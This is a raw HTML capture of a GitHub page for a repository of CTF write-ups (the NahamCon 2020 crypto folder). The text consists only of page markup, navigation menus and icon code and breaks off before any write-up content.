content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/noob-atbash/CTF-writeups git https://github.com/noob-atbash/CTF-writeups.git"> <meta name="octolytics-dimension-user_id" content="64429282" /><meta name="octolytics-dimension-user_login" content="noob-atbash" /><meta name="octolytics-dimension-repository_id" content="268353024" /><meta name="octolytics-dimension-repository_nwo" content="noob-atbash/CTF-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="268353024" /><meta name="octolytics-dimension-repository_network_root_nwo" content="noob-atbash/CTF-writeups" /> <link rel="canonical" href="https://github.com/noob-atbash/CTF-writeups/tree/master/nahamcon-20/crypto" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="268353024" data-scoped-search-url="/noob-atbash/CTF-writeups/search" data-owner-scoped-search-url="/users/noob-atbash/search" data-unscoped-search-url="/search" data-turbo="false" action="/noob-atbash/CTF-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="+QQFkyP20djfOelsJf7BIriXkjSIa1nGa/KW3xwmHDSZL8P9ExdLhOi09vRJqikGeqtrLXTRiVwVMdEB2bjtrg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 